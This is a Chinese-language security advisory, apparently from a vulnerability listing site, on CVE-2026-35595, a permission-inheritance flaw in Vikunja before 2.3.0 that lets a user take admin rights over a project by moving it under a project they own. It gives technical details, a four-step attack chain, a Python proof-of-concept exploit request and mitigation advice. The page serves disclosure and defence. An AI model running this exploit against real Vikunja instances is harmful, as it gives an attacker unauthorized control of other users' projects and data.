IPBUF安全漏洞报告
English
CVE-2026-35595 CVSS 8.3 高危

CVE-2026-35595 Vikunja权限提升漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35595
漏洞类型
权限提升
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

权限提升Vikunja逻辑漏洞访问控制

漏洞概述

Vikunja是开源自托管任务管理平台。在2.3.0版本之前,其权限模型存在逻辑漏洞。当用户更改项目的父项目时,系统仅检查对新父项目的写入权限,但未考虑递归权限继承链的影响。攻击者可利用此缺陷,将项目移动至自己的控制树下,进而提升权限并获得被移动项目的管理员控制权。

技术细节

该漏洞源于Vikunja权限模型中的逻辑缺陷,具体位于`pkg/models/project_permissions.go`文件的`CanUpdate`检查逻辑中。Vikunja利用递归公用表表达式(CTE)遍历项目层级结构以计算用户权限。在版本2.3.0之前,当用户尝试更改项目的`parent_project_id`(即移动项目)时,系统仅检查用户对新父项目是否具有`CanWrite`权限。然而,该检查未充分考虑到权限继承链的变动影响。攻击者如果对某个子项目持有通过父项目共享获得的继承写入权限,可以将该子项目移动到自己拥有的项目树下。此时,权限计算CTE会基于新的层级结构解析权限,误判攻击者为新父项目的完全控制者,从而授予其在被移动项目上的管理员权限(Admin, Level 2)。这种权限提升攻击完全绕过了正常的授权流程,危及系统数据的完整性和机密性。

攻击链分析

STEP 1
侦察
攻击者寻找一个自己拥有继承写入权限的项目(例如,通过共享获得)。
STEP 2
准备
攻击者确保自己拥有一个完全控制的项目(作为新的父项目)。
STEP 3
利用
攻击者发送API请求修改目标项目的parent_project_id,将其移动到自己的项目下。
STEP 4
权限提升
Vikunja的权限计算CTE重新解析继承链,错误地将攻击者识别为目标项目的管理员。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-35595 # Description: Exploits the permission inheritance logic to gain Admin rights on a project by moving it. import requests TARGET_URL = "http://target-vikunja-instance.com/api/v1" API_TOKEN = "attacker_jwt_token" # Headers headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # IDs # Victim's Project ID (where attacker has write access via share) victim_project_id = 101 # Attacker's Project ID (owned by attacker) attacker_project_id = 202 # Payload to update the parent project # This triggers the vulnerability: CanUpdate checks CanWrite on new parent, # but the result grants Admin on the moved project due to CTE logic. payload = { "parent_project_id": attacker_project_id, "id": victim_project_id } try: # Send the request to update the project response = requests.post( f"{TARGET_URL}/projects/{victim_project_id}", headers=headers, json=payload ) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Project {victim_project_id} moved under {attacker_project_id}.") print("[+] Attacker now has Admin privileges on the victim's project.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
如果无法立即升级,建议严格限制用户对共享项目的“写入”权限,仅保留必要的“读取”权限。管理员应定期审计项目层级结构和用户权限列表,及时发现异常的项目移动操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表